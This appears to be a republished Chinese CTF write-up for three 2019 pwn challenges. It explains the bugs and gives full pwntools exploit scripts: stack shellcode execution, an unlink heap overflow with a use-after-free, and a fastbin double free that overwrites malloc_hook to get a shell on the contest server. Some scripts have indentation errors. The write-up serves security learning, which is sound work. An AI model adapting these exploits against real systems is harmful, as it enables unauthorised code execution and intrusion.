2019 安恒周周练西湖论剑特别版 pwn部分wp

Posted h4lo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2019 安恒周周练西湖论剑特别版 pwn部分wp相关的知识,希望对你有一定的参考价值。

pwn1

考点:构造 shellcode,patch 汇编指令

IDA 查看反汇编,程序的逻辑很简单如,如果 直接 f5 的话 IDA 可能识别不出来函数,问题出在 0x080484CF 这个地方,call eax 指令识别不出来,所以这里可以先 patch 成 nop,之后 f5 就正常了

技术图片

技术图片

程序把输入当成 shellcode 直接来执行,很显然是直接往栈上写 shellcode 了。checksec 检查保护的时候也可以验证这一点。

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

在这里找到 21 bytes 的 shellcode,但是最多只能输入 20 bytes。
http://shell-storm.org/shellcode/files/shellcode-575.php

所以这里我们想办法去掉一条指令即可,调试发现 ecx 本身就是 0,那么去掉 xor ecx ecx 即可。

技术图片

exp

#!/usr/bin/python
from pwn import *
DEBUG = 0
if DEBUG:
        r = process('./pwn_1')
        #elf = ELF('')
else:
        r = remote('101.71.29.5',10000)
        #elf = ELF('')

#shellcode = "\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80\\x00"

shellcode = "\\xf7\\xe1\\x51\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xb0\\x0b\\xcd\\x80"

# ecx = 0

print "len: " + str(len(shellcode))
r.sendline(shellcode)
r.interactive()

pwn2

考点:unlink、uaf、堆溢出、开启 full relro、覆写 malloc_hook

程序的漏洞点比较多,所以这里应该有多解。笔者这里用堆溢出后伪造堆块,构造一个 unlink 的方法来做

首先检查一下保护:

gdb-peda$ checksec 
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

create_node 函数:

int create_node()
{
  int v0; // ebx
  int v2; // [rsp+Ch] [rbp-14h]

  printf("enter the index of the node you want to create:");
  __isoc99_scanf("%d", &v2);
  v0 = v2;
  name[v0] = malloc(0x80uLL);                   // small chunk
  return puts("create complete");
}

edit_node 函数

int edit_node()
{
  int v1; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  printf("enter the index of the node you want to edit:");
  __isoc99_scanf("%d", &v2);
  printf("please enter the length of the input:", &v2);
  __isoc99_scanf("%d", &v1);
  getchar();
  printf("please enter the contents of the node:", &v1);
  fread(name[v2], v1, 1uLL, stdin);             // overflow
  return puts("edit compete!");
}

delete_node 函数

int delete_node()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("enter the index of the node you want to create:");
  __isoc99_scanf("%d", &v1);
  free(name[v1]);
  return puts("delete complete!");
}

show_node 函数

int show_node()
{
  int v1; // [rsp+Ch] [rbp-4h]

  printf("enter the index of the node you want to create:");
  __isoc99_scanf("%d", &v1);
  return puts(name[v1]);
}
  • 程序中还有一个后门函数

技术图片

首先有一个比较容易利用的点,在 edit_node 函数中我们可以输入 index 为一个负数,这里我们就可以更改 name 前面某个地址的指针的值

技术图片

got 表在 name 前面,很容易想到直接篡改 got 表值,这里 exit 函数在 -12 处。但是这里 RELRO 为 disabled,是无法正常写 got 表的。大佬说这个是

失去动态链接的过程 而且不光 got 不能写 因为要对齐 所以至少1000个字节的范围

所以这里正常的思路是在 edit_node 中利用长度没有限制的条件来伪造一个堆块,触发 unlink 漏洞,参考:https://www.jianshu.com/p/2776b6a79a11

unlink 触发之后,再 edit 一次就可以在 name 的区域任意地址写,这里利用前面 uaf 漏洞 leak 出 libc 地址,之后往 malloc_hook 中写入后门函数,再 malloc 一次就 getshell 了。

exp

#!/usr/bin/python

from pwn import *
DEBUG = 0

if DEBUG:
    r = process('./pwn2')
    main_arena_offset = 0x3C2760
    elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    malloc_hook_offset = elf.symbols['__malloc_hook']
else:
    r = remote('101.71.29.5',10001)
    #elf = ELF('')
    malloc_hook_offset = 0x00


def create_node(idx):
    r.sendlineafter("---------------------------",'1')
    #r.sendlineafter("enter the index of the node you want to create:",str(idx))
    #r.recvuntil(":")
    r.sendline(str(idx))

def edit_node(idx,length,content):
    r.sendlineafter("---------------------------",'2')
    r.sendline(str(idx))
    r.sendline(str(length))
    r.sendline(str(length)) 

def delete_node(idx):
    r.sendlineafter("---------------------------",'3')
        r.sendline(str(idx))

def show_node(idx):
    r.sendlineafter("---------------------------",'4')
        r.sendline(str(idx))


create_node(0)
create_node(1)

delete_node(0)
show_node(0)

r.recvuntil(":")
main_arena_addr = u64(r.recv(6).ljust(8,'\\x00'))-0x58

success("main_arena_addr: " + hex(main_arena_addr))
libc_addr = main_arena_addr - main_arena_offset

success("libc_addr: " + hex(libc_addr))
#---------------------------------------------------

create_node(0)

create_node(2)
create_node(3)
create_node(4)

payload = 'a' * 0x80 + p64(0) + p64(0x21)

#edit_node(2,len(payload),payload)
#edit_node(2,5,'aaaaa')
#gdb.attach(r)

#r.sendlineafter("---------------------------",'2\\n')
#r.recvuntil("---------------------------")
#r.sendline("2")

r.recv()

# unlink
chunk_list = 0x6012b0
payload = p64(0) +p64(0x81)
payload += p64(chunk_list-24)
payload += p64(chunk_list-16)
payload += 'a' * 0x60
payload += p64(0x80) + p64(0x90)

r.sendline('2\\n')
r.sendline('2\\n')
r.sendline(str(len(payload)))
r.sendline(payload)

#gdb.attach(r)

delete_node(3)

r.recv()

malloc_hook = libc_addr + malloc_hook_offset
payload2 = p64(0x1111) + p64(malloc_hook)

r.sendline('2\\n')
r.sendline('2\\n')
r.sendline(str(len(payload2)))
r.sendline(payload2)
#gdb.attach(r)

r.recv()
payload3 = p64(0x00000000004009B6)
r.sendline('2\\n')
r.sendline('0\\n')
r.sendline(str(len(payload3)))
r.sendline(payload3)

create_node(4)

r.interactive()

pwn3

考点:double free、uaf、覆写 malloc_hook

这道题和前面那道挺像的,但是这个可以直接用 fastbins attack 的 double free 来做,会稍微简单点。关于 fastbins attack 的几种利用方法可以[看这里][https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247483708&idx=1&sn=3d99a896dd1fc366fdfaed3806d08a2a&chksm=fd711471ca069d67f59eee741245e444e07e209fe0ab46708a39ecdacd500f1c192a355d1f25&xtrack=1&scene=0&subscene=10000&clicktime=1553785691&ascene=7&devicetype=android-27&version=27000334&nettype=3gnet&abtest_cookie=BAABAAoACwASABMABQAjlx4AVpkeAMiZHgDVmR4A3JkeAAAA&lang=zh_CN&pass_ticket=SYONvOFMfHHU4cAl26RQ3nLCrJELqfUSx809QFoLolLe%2BQMEh16EkmM0KVgTuQSJ&wx_header=1]

安全保护措施:

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : ENABLED
RELRO     : FULL

保护全开,got 表也写不了。那只能写 malloc_hook 或者 free_hook

首先看程序的代码:

create 函数

int create()
{
  signed int size; // eax
  size_t v1; // rbx
  void *v2; // rbp
  __int64 v3; // rax

  if ( max_count > 15 )
    return puts("Enough");
  puts("Size:");
  size = sub_B60();
  if ( size > 128 )
    exit(-1);
  v1 = size;
  v2 = malloc(size);
  v3 = max_count++;
  chunk_list[v3] = v2;
  _printf_chk(1LL, "Content >");
  read(0, v2, v1);
  return puts("Done");
}

show 函数

int sub_C70()
{
  int v0; // eax
  __int64 v2; // rcx

  puts("Index:");
  v0 = sub_B60();
  if ( v0 < 0 || v0 >= max_count )
    return puts("Invalid Index");
  v2 = chunk_list[v0];
  return _printf_chk(1LL, "Buf[%d]:%s\\n");
}

delete 函数

void sub_CD0()
{
  int idx; // eax
  void *v1; // rdi

  puts("Index:");
  idx = sub_B60();
  if ( idx >= 0 && idx < max_count && (v1 = chunk_list[idx]) != 0LL )
    free(v1);
  else
    puts("Invalid Index");
}

思路:和上题一样的方法 leak 出 libc,拿到 one_gadget 地址之后,往 malloc_hook 中写入来 getshell。

malloc 一个 0x80 的块之后 free 掉,先 leak 出 main_arena + 0x58 的地址,就可以计算出 main_arena 的地址,进而得到 libc 的地址(main_arena 偏移固定)

create(128,"a")
create(128,"b")

delete(0)
show(0)

malloc 出三个 fastbin ,free 三个块之后再事先填充好伪造为 fd 值,构造 double free。

create(0x60,'1')    # idx=3
create(0x60,'2')    # idx=4
create(0x60,'3')    # idx=5

delete(3)       # double free
delete(4)
delete(3)

利用 fastbins attack 的错位技术,在 malloc_hook 上面构造一个堆块,填充内容时就可以覆盖 malloc_hook 的值。

one_gadget = libc_addr + one_gadget_offset
payload = 'a' * 0x3 + p64(one_gadget)
create(0x60,payload)

接着 malloc 一次就可以 getshell。但是这里我在本地测试可以正常 shell,在远程利用时可能是 one_gadget 的地址偏移的原因,无法正常 getshell。

技术图片

exp

#!/usr/bin/python
from pwn import *
DEBUG = 1

if DEBUG:
    r = process('./5b757f4345b70')
    main_arena_offset = 0x3C2760
    one_gadget_offset = 0xe9415
    elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
    r = remote('101.71.29.5',10002)
#   r = remote('127.0.0.1',4000)
    elf = ELF("./5b757f4347a22.so")
    #elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    main_arena_offset = 0x3C4B20
    one_gadget_offset = 0xf02a4

success("system offset: "+hex(elf.symbols['system']))
success("free_hook_offset: "+hex(elf.symbols['__free_hook']))

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
'''

def create(size,content):
    r.sendlineafter("Choice>",'1')
    r.sendlineafter("Size:",str(size))
    r.sendlineafter("Content >",str(content))

def show(idx):
    r.sendlineafter("Choice>",'2')
    r.sendlineafter("Index:",str(idx))
    
def delete(idx):
    r.sendlineafter("Choice>",'3')
        r.sendlineafter("Index:",str(idx))

create(128,"a")
create(128,"b")

delete(0)
show(0)

r.recvuntil(">Buf[0]:")
main_arena_addr = u64(r.recv(6).ljust(8,'\\x00'))-0x58

success("main_arena: "+hex(main_arena_addr))
libc_addr = main_arena_addr-main_arena_offset

success("libc_addr: "+hex(libc_addr))

success("free_hook: "+hex(libc_addr+elf.symbols['__free_hook']))
create(128,"c")

create(0x60,'1')    # idx=3
create(0x60,'2')    # idx=4
create(0x60,'3')    # idx=5

delete(3)       # double free
delete(4)
delete(3)

#gdb.attach(r)

malloc_hook_addr = main_arena_addr-0x33

create(0x60,p64(malloc_hook_addr))  # fd
create(0x60,'4')
create(0x60,'5')

# LOCAL ONE_GADGET

'''
0x46428 execve("/bin/sh", rsp+0x30, environ)
0x4647c execve("/bin/sh", rsp+0x30, environ)
0xe9415 execve("/bin/sh", rsp+0x50, environ)
0xea36d execve("/bin/sh", rsp+0x70, environ)
'''

# REMOTE ONE_GADGET

'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
0xf1147 execve("/bin/sh", rsp+0x70, environ)
0x4526a execve("/bin/sh", rsp+0x30, environ)
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
'''

one_gadget = libc_addr + one_gadget_offset

payload = 'a' * 0x3 + p64(one_gadget)
#payload = 'a' * 0x3 + p64(libc_addr + elf.symbols['__stack_chk_fail'])

create(0x60,payload)

gdb.attach(r)

#r.sendlineafter("Choice>",'1')
#r.sendlineafter("Size:","96")

r.interactive("#> ")

以上是关于2019 安恒周周练西湖论剑特别版 pwn部分wp的主要内容,如果未能解决你的问题,请参考以下文章

2019西湖论剑web wp

2019西湖论剑网络安全技能大赛(大学生组)部分WriteUp

WP-2021西湖论剑

2021西湖论剑-wp

[西湖论剑]yuas的秘密wp

2019_西湖论剑_预选赛 testre